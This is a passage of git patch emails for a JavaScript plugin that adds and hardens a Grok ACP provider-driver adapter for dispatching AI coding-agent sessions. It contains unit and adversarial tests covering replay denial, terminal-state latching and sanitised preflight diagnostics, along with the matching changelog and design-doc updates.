grokAcpDriverDeclarationV1(); + assert.equal(declaration.capability.provider, GROK_PROVIDER_SLOT); + assert.equal(declaration.capability.dispatch_certainty, 'confirmed_launch'); + assert.equal(declaration.capability.same_session_reply, 'live_session_reply'); + assert.equal(declaration.capability.workspace_semantics, 'local_managed_worktree'); + assert.equal(declaration.capability.workspace_starting_point, 'run_base_sha'); + assert.equal(declaration.capability.merge_authority, 'none_codex_only_integration'); + assert.equal(declaration.capability.create_pr_posture, 'prohibited'); + assert.equal(declaration.capability.replay_posture, 'never_replay'); + assert.equal(declaration.capability.exact_model_selection, 'exact_and_attested'); + assert.deepEqual([...declaration.capability.artifact_kinds], ['event_segment', 'git_diff', 'provider_report']); + assert.equal(declaration.features.cancellation, 'supported'); + assert.equal(declaration.features.detailed_events, 'supported'); + assert.equal(declaration.features.live_progress, 'supported'); + assert.equal(declaration.features.restart, 'reconcile_reattach_only'); + assert.match(declaration.capability.source_digest, /^sha256:[0-9a-f]{64}$/u); + + const surface = describeGrokAcpAdapterSurfaceV1(); + assert.equal(surface.provider, 'grok'); + assert.equal(surface.agent, GROK_ACP_AGENT); + assert.equal(surface.live_qualification, false); + assert.equal(surface.durable_store, false); + assert.equal(surface.supervisor_cutover, false); + assert.equal(surface.confirmation_rule, 'launch_dispatched_only_after_authoritative_acp_ack'); + assert.ok(surface.later_real_grok_acp_route.dispatch.includes('ChildEnvelopeV1')); + assert.ok(surface.later_real_grok_acp_route.forbidden.includes('post_spawn_retry')); + assert.ok(Object.isFrozen(surface)); + assert.ok(Object.isFrozen(surface.later_real_grok_acp_route)); +}); + +test('preflight ready then authoritative acknowledgement yields dispatched', () => { + const { driver, transport } = launchReady(); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatched'); + assert.equal(receipt.run_id, fixture.run_id); + assert.equal(receipt.assignment_id, fixture.assignment_id); + assert.equal(receipt.lane_index, fixture.lane_index); + assert.equal(receipt.base_sha, fixture.base_sha); + assert.equal(receipt.child_envelope_digest, fixture.child_envelope_digest); + assert.equal(receipt.detail_code, undefined); + for (const key of Object.keys(receipt)) { + assert.ok(DRIVER_RESULT_KEYS.includes(key), `unexpected result key ${key}`); + } + const spawn = grokAcpCallsOf(transport, 'spawn')[0].request; + const dispatch = grokAcpCallsOf(transport, 'dispatch')[0].request; + assert.equal(spawn.provider, 'grok'); + assert.equal(spawn.model, GROK_FIXTURE_MODEL); + assert.equal(spawn.envelope_text, undefined); + assert.equal(dispatch.envelope_text, fixture.envelope_text); + assert.equal(dispatch.model, GROK_FIXTURE_MODEL); + assert.equal(dispatch.session_id, GROK_FIXTURE_SESSION_ID); +}); + +test('pre-spawn failure is not_sent and never calls dispatch', () => { + const transport = createScriptedGrokAcpTransportV1({ + spawn: { throw: { code: 'spawn_failed', message: 'binary missing' } }, + }); + const { driver } = launchReady(transport); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'not_sent'); + assert.equal(receipt.detail_code, 'spawn_failed'); + assert.equal(typeof receipt.detail_message, 'string'); + assert.doesNotMatch(receipt.detail_message, /Implement the Grok ACP lane/u); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 0); + const retry = driver.launch(requestFor('launch')); + assert.equal(retry.disposition, 'not_sent'); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 2); +}); + +test('post-spawn timeout, exception, and loss are dispatch_uncertain and never retried', () => { + for (const script of [ + { dispatch: { throw: { code: 'transport_timeout', message: 'ack timed out' } } }, + { dispatch: { throw: { code: 'transport_exception', message: 'stdio reset' } } }, + { dispatch: { throw: { code: 'transport_lost', spawned: true, message: 'child vanished' } } }, + { spawn: { throw: { code: 'transport_lost', spawned: true, message: 'lost after pid' } } }, + { dispatch: { acknowledged: false, session_id: GROK_FIXTURE_SESSION_ID, request_id: 'x', + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest } }, + ]) { + const transport = createScriptedGrokAcpTransportV1(script); + const { driver } = launchReady(transport); + const receipt = driver.launch(requestFor('launch')); + assert.equal(receipt.disposition, 'dispatch_uncertain', JSON.stringify(script)); + assert.equal(receipt.detail_code, undefined); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length <= 1, true); + } +}); + +test('duplicate launch after acknowledgement is replay_denied and does not resend', () => { + const { driver, transport } = launchReady(); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + +test('same-session attention identity reconciles to unresolved_attention', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'needs_attention', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + attention: { session_id: GROK_FIXTURE_SESSION_ID, question_id: 'q-permission-1' }, + }, + }); + const { driver } = launchReady(transport); + driver.launch(requestFor('launch')); + const receipt = driver.reconcile(requestFor('reconcile')); + assert.equal(receipt.disposition, 'unresolved_attention'); + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.equal(evidence.attention.session_id, GROK_FIXTURE_SESSION_ID); + assert.equal(evidence.attention.question_id, 'q-permission-1'); + assert.equal(Object.hasOwn(receipt, 'attention'), false); +}); + +test('cross-session attention identity fails closed', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'needs_attention', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + attention: { session_id: 'sess-other', question_id: 'q-1' }, + }, + }); + const { driver } = launchReady(transport); + driver.launch(requestFor('launch')); + expectCode(() => driver.reconcile(requestFor('reconcile')), 'stale_identity_denied'); +}); + +test('cancellation races: confirmed vs already-terminal vs requested', () => { + const confirmed = launchReady(createScriptedGrokAcpTransportV1({ + cancel: { outcome: 'cancel_confirmed', session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest }, + })); + confirmed.driver.launch(requestFor('launch')); + assert.equal(confirmed.driver.cancel(requestFor('cancel')).disposition, 'cancel_confirmed'); + + const requested = launchReady(createScriptedGrokAcpTransportV1({ + cancel: { outcome: 'cancel_requested', session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest }, + })); + requested.driver.launch(requestFor('launch')); + assert.equal(requested.driver.cancel(requestFor('cancel')).disposition, 'cancel_requested'); + + const raced = launchReady(createScriptedGrokAcpTransportV1({ + observe: { + status: 'completed', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + }, + cancel: { outcome: 'already_terminal', session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest }, + })); + raced.driver.launch(requestFor('launch')); + assert.equal(raced.driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + assert.equal(raced.driver.cancel(requestFor('cancel')).disposition, 'already_terminal'); + assert.equal(grokAcpCallsOf(raced.transport, 'cancel').length, 0); +}); + +test('restart reattach resumes the exact session and never relaunches', () => { + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + }, + }); + const { driver } = launchReady(transport); + driver.launch(requestFor('launch')); + const receipt = driver.reconcile(requestFor('reconcile', { intent: 'restart_reattach' })); + assert.equal(receipt.disposition, 'in_progress'); + assert.equal(grokAcpCallsOf(transport, 'reattach').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + const reattach = grokAcpCallsOf(transport, 'reattach')[0].request; + assert.equal(reattach.session_id, GROK_FIXTURE_SESSION_ID); + assert.equal(reattach.envelope_text, undefined); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); +}); + +test('event pages and cursors are capped; envelope bytes stay off the result and telemetry', () => { + const events = Array.from({ length: MAX_GROK_ACP_EVENT_PAGE + 8 }, (_, index) => ({ + type: 'text_delta', + text: `chunk-${index}-${'x'.repeat(80)}`, + })); + const transport = createScriptedGrokAcpTransportV1({ + observe: { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + events, + cursor: '42', + event_count: events.length, + elapsed_ms: 1500, + }, + }); + const { driver } = launchReady(transport); + const launched = driver.launch(requestFor('launch')); + assert.equal(launched.disposition, 'dispatched'); + const receipt = driver.reconcile(requestFor('reconcile', { + include: ['detailed_events', 'live_progress'], + })); + assert.equal(receipt.disposition, 'in_progress'); + assert.equal(receipt.detail_message, undefined); + assert.equal(JSON.stringify(receipt).includes(fixture.envelope_text), false); + const evidence = inspectGrokAcpLaneEvidenceV1(driver, { + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + child_envelope_digest: fixture.child_envelope_digest, + }); + assert.ok(evidence.events.length <= MAX_GROK_ACP_EVENT_PAGE); + assert.equal(evidence.evidence_truncated, true); + assert.equal(evidence.cursor, '42'); + assert.equal(evidence.progress.elapsed_ms, 1500); + const observe = grokAcpCallsOf(transport, 'observe')[0].request; + assert.equal(observe.envelope_text, undefined); + assert.equal(observe.prompt, undefined); +}); + +test('preflight and cancel transport requests never carry envelope text', () => { + const { driver, transport } = launchReady(); + driver.launch(requestFor('launch')); + driver.cancel(requestFor('cancel')); + for (const operation of ['preflight', 'spawn', 'observe', 'cancel']) { + for (const call of grokAcpCallsOf(transport, operation)) { + assert.equal(call.request.envelope_text, undefined, `${operation} leaked envelope_text`); + } + } +}); + +test('cross-provider and cross-model envelopes fail closed with no substitution', () => { + const dshEnvelope = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + execution: { provider: 'dsh', model: 'stealth/ox-alpha' }, + }], + }, fixture.assignment_id); + const { driver } = launchReady(); + expectCode(() => driver.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: dshEnvelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(dshEnvelope).digest, + }), 'provider_slot_mismatch'); + + const otherModel = compileChildEnvelopeV1({ + ...fixture.manifest, + assignments: [{ + ...fixture.manifest.assignments[0], + execution: { provider: 'grok', model: 'grok-code-fast-1' }, + }], + }, fixture.assignment_id); + const otherDriver = bindGrokAcpDriverV1(createScriptedGrokAcpTransportV1()); + const otherRequest = { + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: otherModel.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(otherModel).digest, + }; + assert.equal(otherDriver.preflight(otherRequest).disposition, 'ready'); + assert.equal( + grokAcpCallsOf(createScriptedGrokAcpTransportV1(), 'dispatch').length, + 0, + ); +}); + +test('digest-only, direct-mode, merge, and fallback keys fail closed', () => { + expectCode(() => createGrokAcpDriverV1(createScriptedGrokAcpTransportV1()).launch({ + schema: DRIVER_OPERATION_SCHEMA_IDS.launch, + version: PROVIDER_DRIVER_VERSION, + child_envelope_digest: fixture.child_envelope_digest, + }), 'digest_only_launch_denied'); + const { driver } = launchReady(); + for (const [key, value, code] of [ + ['fallback', true, 'replay_or_fallback_denied'], + ['resend', true, 'replay_or_fallback_denied'], + ['retry_dispatch', 1, 'replay_or_fallback_denied'], + ['create_pr', true, 'merge_authority_denied'], + ['allow_merge', true, 'merge_authority_denied'], + ['workspace_mode', 'direct', 'direct_mode_rejected'], + ['direct_mode', true, 'direct_mode_rejected'], + ]) { + expectCode(() => driver.preflight({ + schema: DRIVER_OPERATION_SCHEMA_IDS.preflight, + version: PROVIDER_DRIVER_VERSION, + envelope_text: fixture.envelope_text, + child_envelope_digest: fixture.child_envelope_digest, + [key]: value, + }), code); + } +}); + +test('unbound adapter still refuses post-spawn replay', () => { + const transport = createScriptedGrokAcpTransportV1(); + const driver = createGrokAcpDriverV1(transport); + driver.preflight(requestFor('preflight')); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatched'); + expectCode(() => driver.launch(requestFor('launch')), 'replay_denied'); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + +test('lost observe after uncertain launch stays dispatch_uncertain', () => { + const transport = createScriptedGrokAcpTransportV1({ + dispatch: { throw: { code: 'transport_timeout' } }, + observe: { + status: 'lost', + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', model: GROK_FIXTURE_MODEL, run_id: fixture.run_id, + assignment_id: fixture.assignment_id, lane_index: fixture.lane_index, + base_sha: fixture.base_sha, child_envelope_digest: fixture.child_envelope_digest, + }, + }); + const { driver } = launchReady(transport); + assert.equal(driver.launch(requestFor('launch')).disposition, 'dispatch_uncertain'); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'dispatch_uncertain'); +}); + +test('the grok declaration is not a dsh or cloud stub', () => { + const grok = grokAcpDriverDeclarationV1(); + const dsh = driverDeclaration('dsh'); + assert.notEqual(grok.capability.dispatch_certainty, dsh.capability.dispatch_certainty); + assert.notEqual(grok.capability.same_session_reply, dsh.capability.same_session_reply); + assert.equal(grok.capability.create_pr_posture, 'prohibited'); +}); From 6ac19db811f29d5b419a01d2938fdd0b0de56edd Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 20:14:12 +0000 Subject: [PATCH 22/81] docs(changelog): record the P18 Grok ACP driver slice State that the adapter is not live-transport qualification and does not cut the supervisor over or claim durable P19/P21 state. --- CHANGELOG.md | 21 +++++++++++++++++++++ docs/future-work.md | 25 ++++++++++++++++++------- 2 files changed, 39 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2bfdbe9..148d72d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,27 @@ ### Added +- **Grok ACP ProviderDriverV1 adapter (P18).** Additive `grok-acp-driver` + binds provider slot `grok` onto the accepted P17 preflight/launch/ + reconcile/cancel contract and the P05 13-field capability record + (`confirmed_launch`, `live_session_reply`, local managed worktree at + `run_base_sha`, `never_replay`, no merge/PR authority). An injected + bounded ACP transport keeps tests deterministic: launch is `dispatched` + only after an authoritative acknowledgement; any exception, timeout, + loss, or unusable receipt after spawn/dispatch intent is returned as + `dispatch_uncertain` and is never retried, replayed, or + fallback-substituted. Duplicate launch, digest-only launch, direct + mode, merge/PR, and cross-provider/model drift fail closed. Bounded + live progress, detailed events, same-session reply identity, + cancellation confirmation, and restart reattach are supported exactly + where Grok ACP supports them, with stale session/run/child/model/ + workspace identities failing closed. Event pages, text, counts, + cursors, timings, and diagnostics are capped; envelope/prompt bytes + stay evidence and do not enter driver results or transport + preflight/observe/cancel/reattach requests. Process-local P17 lane + risk may remain; the module does not claim durable P19/P21 state, + supervisor cutover, or live Grok ACP qualification. Coverage lives in + `r1-grok-acp-driver` and `r1-grok-acp-driver-adversarial` tests. - **Closed P17 provider-driver envelope and capability contract.** Additive `ProviderDriverV1` owns the preflight/launch/reconcile/cancel lifecycle plus typed results, exact ChildEnvelopeV1 launch proof (text bytes and diff --git a/docs/future-work.md b/docs/future-work.md index 1f20fe7..f9de3c4 100644 --- a/docs/future-work.md +++ b/docs/future-work.md @@ -18,13 +18,24 @@ fallback or replay, and Codex-only final acceptance. The P17 `ProviderDriverV1` envelope/capability contract is in-tree as a pure contract and provider-agnostic conformance harness. It validates preflight/launch/reconcile/cancel requests and results against the -accepted P05 13-field capability bridge. It does not implement Grok, -Cursor Local, DSH, or Cursor Cloud transports, registry cutover, -scheduler, or durable store; those remain P18/P20/P19/P21 and later -run-runtime work. This worktree does not implement the run runtime, -candidate composition, or `AttentionBatchV1`. Gate A remains the -functional release authority; Gate B context-efficiency and Gate C -credit economics stay advisory. +accepted P05 13-field capability bridge. + +The P18 Grok ACP adapter is in-tree as a Grok-specific binding of that +contract onto an injected bounded ACP transport. It hard-binds provider +`grok`, the exact selected model, exact ChildEnvelopeV1 text+digest, local +managed-worktree/run-base semantics, and no merge/PR authority. Launch +confirms only after an authoritative ACP acknowledgement; post-spawn +loss is `dispatch_uncertain` and is never replayed. This is not live Grok +ACP qualification and does not cut the supervisor over. A later real Grok +ACP lifecycle conformance route must implement the six transport +operations recorded by `describeGrokAcpAdapterSurfaceV1()` (`preflight`, +`spawn`, `dispatch`, `observe`, `cancel`, `reattach`) against `grok-build` +persistent sessions, with the same identity and bound rules. Cursor +Local, DSH, and Cursor Cloud transports, registry cutover, scheduler, and +durable store remain P20/P19/P21 and later run-runtime work. This +worktree does not implement the run runtime, candidate composition, or +`AttentionBatchV1`. Gate A remains the functional release authority; Gate +B context-efficiency and Gate C credit economics stay advisory. ## Durable, low-token agent completion waits From f2dda072183b26e6904e6df240f9b6d41db3f6cc Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sat, 22 Aug 2026 22:51:55 +0000 Subject: [PATCH 23/81] fix(grok): close replay and terminal lifecycle boundaries Combine the accepted possible-send replay repair with the accepted terminal latch, idempotent terminal cancellation, and closed blocked-preflight diagnostics. Preserve legitimate not-sent retry while denying replay after any possible send. --- .../mcp/v3/grok-acp-driver.mjs | 72 ++++++-- .../r1-grok-acp-driver-adversarial.test.mjs | 75 ++++++++ .../test/r1-grok-acp-driver.test.mjs | 167 ++++++++++++++++++ 3 files changed, 302 insertions(+), 12 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs b/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs index 3c1ea2d..2f167d5 100644 --- a/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs +++ b/plugins/codex-co-engineer/mcp/v3/grok-acp-driver.mjs @@ -17,6 +17,11 @@ // - live progress, detailed events, same-session reply identity, // cancellation confirmation, and restart reattach are supported exactly // where Grok ACP supports them, with stale identities failing closed; +// - completed, failed, cancelled, cancel_confirmed, and already_terminal +// latch process-local terminal evidence; later reconcile stays terminal +// and later cancel is already_terminal with no further transport cancel. +// cancel_requested stays nonterminal. Blocked-preflight receipts are +// validated, then provider detail is replaced with a fixed local pair; // - event pages, text, counts, cursors, timings, and diagnostics are capped; // envelope/prompt content is dispatch evidence and must not enter // telemetry or driver detail messages. @@ -172,6 +177,18 @@ const POST_SPAWN_ERROR_CODES = capturedFreeze([ 'dispatch_ack_missing', 'transport_exception', 'transport_lost', 'transport_timeout', ]); const TERMINAL_OBSERVE_STATUSES = capturedFreeze(['completed', 'failed', 'cancelled']); +const TERMINAL_CANCEL_OUTCOMES = capturedFreeze(['cancel_confirmed', 'already_terminal']); +const TERMINAL_LATCH_STATES = capturedFreeze([ + 'terminal', 'cancel_confirmed', 'already_terminal', +]); +const POSSIBLE_SEND_STATES = capturedFreeze([ + 'spawned', 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +const BLOCKED_PREFLIGHT_DETAIL = capturedFreeze({ + detail_code: 'preflight_blocked', + detail_message: 'Grok ACP preflight is blocked; the lane fails closed with no fallback.', +}); const DRIVER_STORES = new WEAK_MAP_CTOR(); const GROK_ACP_NOTES = 'Grok ACP persistent session (grok-build). Launch confirms only after an authoritative ACP acknowledgement. Same-session reply is supported while the local worker is alive. Process-local lane state only; no durable P19/P21 store, supervisor cutover, or live-transport qualification.'; @@ -681,15 +698,31 @@ export function assertGrokAcpTransportV1(transport) { }); } +function laneMayHaveSent(record) { + return record !== undefined && ( + record.spawned === true + || record.dispatch_intent === true + || capturedIncludes(POSSIBLE_SEND_STATES, record.state) + ); +} + +function hasTerminalLatch(record) { + if (record === undefined) return false; + if (record.terminal_latch === true) return true; + if (capturedIncludes(TERMINAL_LATCH_STATES, record.state)) return true; + if (record.last_status !== undefined + && capturedIncludes(TERMINAL_OBSERVE_STATUSES, record.last_status)) { + return true; + } + return record.cancel_outcome !== undefined + && capturedIncludes(TERMINAL_CANCEL_OUTCOMES, record.cancel_outcome); +} + function runPreflight(store, request) { const view = validateDriverPreflightRequestV1(request); const identity = identityFromEnvelope(view.envelope, view.child_envelope_digest); const prior = getLane(store, identity); - if (prior !== undefined && capturedIncludes( - ['spawned', 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', - 'terminal', 'cancel_requested', 'cancel_confirmed'], - prior.state, - )) { + if (laneMayHaveSent(prior)) { fail('invalid_transition', 'driver.preflight.request', 'Preflight cannot run after a Grok prompt may have been dispatched; reconcile or cancel instead.'); } @@ -723,9 +756,9 @@ function runPreflight(store, request) { fail('malformed_receipt', 'transport.preflight.result.ok', 'transport.preflight.result.ok must be an exact boolean.'); } - const detail = assertDetailPair(receipt, 'transport.preflight.result'); + assertDetailPair(receipt, 'transport.preflight.result'); putLane(store, identity, { state: 'blocked', model: identity.model }); - return driverResult('preflight', identity, 'blocked', detail); + return driverResult('preflight', identity, 'blocked', BLOCKED_PREFLIGHT_DETAIL); } function markUncertain(store, identity, extras = {}) { @@ -897,8 +930,9 @@ function runReconcile(store, request) { } assertLaneIdentity(prior, identity, 'driver.reconcile.request'); const include = view.include ?? capturedFreeze([]); + const latched = hasTerminalLatch(prior); - if (view.intent === 'restart_reattach') { + if (view.intent === 'restart_reattach' && !latched) { const reattachRequest = transportIdentityRequest(identity, { session_id: prior.session_id, request_id: prior.request_id, @@ -921,6 +955,15 @@ function runReconcile(store, request) { putLane(store, identity, { ...prior, session_id: sessionId, reattached: true }); } + if (latched) { + putLane(store, identity, { + ...prior, + state: capturedIncludes(TERMINAL_LATCH_STATES, prior.state) ? prior.state : 'terminal', + terminal_latch: true, + }); + return driverResult('reconcile', identity, 'terminal'); + } + const observed = observeLane(store, identity, getLane(store, identity), include); const disposition = prior.state === 'dispatch_uncertain' && observed.status === 'lost' ? 'dispatch_uncertain' @@ -935,6 +978,7 @@ function runReconcile(store, request) { evidence: observed.evidence, last_status: observed.status, session_id: observed.sessionId, + terminal_latch: nextState === 'terminal', }); return driverResult('reconcile', identity, disposition); } @@ -948,9 +992,8 @@ function runCancel(store, request) { 'Cancel addresses an existing Grok dispatch; this child has no launch observation.'); } assertLaneIdentity(prior, identity, 'driver.cancel.request'); - if (prior.state === 'terminal' || prior.last_status !== undefined - && capturedIncludes(TERMINAL_OBSERVE_STATUSES, prior.last_status)) { - putLane(store, identity, { ...prior, state: 'already_terminal' }); + if (hasTerminalLatch(prior)) { + putLane(store, identity, { ...prior, state: 'already_terminal', terminal_latch: true }); return driverResult('cancel', identity, 'already_terminal'); } const cancelRequest = transportIdentityRequest(identity, { @@ -975,7 +1018,12 @@ function runCancel(store, request) { fail('invalid_format', 'transport.cancel.result.outcome', `transport.cancel.result.outcome must be one of ${capturedJoin(GROK_ACP_CANCEL_OUTCOMES, ', ')}.`); } - putLane(store, identity, { ...prior, state: outcome, cancel_outcome: outcome }); + putLane(store, identity, { + ...prior, + state: outcome, + cancel_outcome: outcome, + terminal_latch: capturedIncludes(TERMINAL_CANCEL_OUTCOMES, outcome), + }); return driverResult('cancel', identity, outcome); } diff --git a/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs index 34631b5..0cacef9 100644 --- a/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-grok-acp-driver-adversarial.test.mjs @@ -33,6 +33,7 @@ import { } from './fixtures/r1-grok-acp-transport.mjs'; const fixture = buildGrokDriverFixtureV1(); +const LEAK_MARKER = 'XSECRET7Q'; function expectCode(fn, code, message) { assert.throws(fn, (error) => error instanceof RunContractV1Error && error.code === code, message); @@ -369,6 +370,80 @@ test('cyclic and aliased receipts fail closed', () => { expectCode(() => driver.reconcile(requestFor('reconcile')), 'aliased_reference_denied'); }); +test('blocked preflight keeps XSECRET7Q out of results and errors', () => { + const leakSurfaces = []; + const transport = createScriptedGrokAcpTransportV1({ + preflight: { + ok: false, + detail_code: 'xsecret7q', + detail_message: `provider authored ${LEAK_MARKER} token sk-abcdefghijklmnop`, + ...identityFields(), + }, + }); + const driver = bindGrokAcpDriverV1(transport); + let receipt; + try { + receipt = driver.preflight(requestFor('preflight')); + } catch (error) { + leakSurfaces.push(error); + throw error; + } + assert.equal(receipt.disposition, 'blocked'); + assert.equal(receipt.detail_code, 'preflight_blocked'); + assert.equal( + receipt.detail_message, + 'Grok ACP preflight is blocked; the lane fails closed with no fallback.', + ); + leakSurfaces.push(receipt); + const serialized = leakSurfaces.map((value) => { + if (value instanceof Error) { + return [value.name, value.code, value.path, value.message, value.stack, JSON.stringify(value)].join('\n'); + } + return JSON.stringify(value); + }).join('\n'); + assert.equal(serialized.includes(LEAK_MARKER), false); + assert.equal(JSON.stringify(receipt).includes(LEAK_MARKER), false); + expectCode(() => driver.launch(requestFor('launch')), 'blocked_lane_denied'); +}); + +test('hostile running after latched completed never reports progress or copies provider text', () => { + const { driver, transport } = launchBound({ + observe: [ + { status: 'completed', session_id: GROK_FIXTURE_SESSION_ID, ...identityFields() }, + { + status: 'running', + session_id: GROK_FIXTURE_SESSION_ID, + ...identityFields(), + progress: { status: 'running', cursor: '9', event_count: 3, elapsed_ms: 10 }, + attention: { session_id: GROK_FIXTURE_SESSION_ID, question_id: `q-${LEAK_MARKER}` }, + }, + ], + }); + driver.launch(requestFor('launch')); + assert.equal(driver.reconcile(requestFor('reconcile')).disposition, 'terminal'); + const observeAfterLatch = grokAcpCallsOf(transport, 'observe').length; + let receipt; + try { + receipt = driver.reconcile(requestFor('reconcile', { include: ['live_progress'] })); + } catch (error) { + assert.equal(error.code, 'terminal_regression_denied'); + assert.equal(String(error.message).includes(LEAK_MARKER), false); + assert.equal(JSON.stringify({ code: error.code, path: error.path, message: error.message }).includes(LEAK_MARKER), false); + assert.ok(grokAcpCallsOf(transport, 'observe').length <= observeAfterLatch + 1); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); + return; + } + assert.equal(receipt.disposition, 'terminal'); + assert.notEqual(receipt.disposition, 'in_progress'); + assert.notEqual(receipt.disposition, 'unresolved_attention'); + assert.notEqual(receipt.disposition, 'dispatch_uncertain'); + assert.equal(JSON.stringify(receipt).includes(LEAK_MARKER), false); + assert.ok(grokAcpCallsOf(transport, 'observe').length <= observeAfterLatch + 1); + assert.equal(grokAcpCallsOf(transport, 'spawn').length, 1); + assert.equal(grokAcpCallsOf(transport, 'dispatch').length, 1); +}); + test('createGrokAcpDriverV1 captures operations so later mutation cannot swap dispatch', () => { const transport = createScriptedGrokAcpTransportV1(); const driver = createGrokAcpDriverV1(transport); diff --git a/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs b/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs index f7220d6..cc8d9d0 100644 --- a/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs +++ b/plugins/codex-co-engineer/test/r1-grok-acp-driver.test.mjs @@ -51,6 +51,47 @@ function launchReady(transport = createScriptedGrokAcpTransportV1()) { return { driver, transport }; } +function identityReceipt(extra = {}) { + return { + session_id: GROK_FIXTURE_SESSION_ID, + provider: 'grok', + model: GROK_FIXTURE_MODEL, + run_id: fixture.run_id, + assignment_id: fixture.assignment_id, + lane_index: fixture.lane_index, + base_sha: fixture.base_sha, + child_envelope_digest: fixture.child_envelope_digest, + ...extra, + }; +} + +function transportCounts(transport) { + return { + preflight: grokAcpCallsOf(transport, 'preflight').length, + spawn: grokAcpCallsOf(transport, 'spawn').length, + dispatch: grokAcpCallsOf(transport, 'dispatch').length, + observe: grokAcpCallsOf(transport, 'observe').length, + cancel: grokAcpCallsOf(transport, 'cancel').length, + reattach: grokAcpCallsOf(transport, 'reattach').length, + }; +} + +function assertLatchedTerminalOrDenial(action) { + try { + const receipt = action(); + assert.equal(receipt.disposition, 'terminal'); + assert.notEqual(receipt.disposition, 'in_progress'); + assert.notEqual(receipt.disposition, 'dispatch_uncertain'); + assert.notEqual(receipt.disposition, 'unresolved_attention'); + return receipt; + } catch (error) { + assert.ok(error instanceof RunContractV1Error); + assert.equal(error.code, 'terminal_regression_denied'); 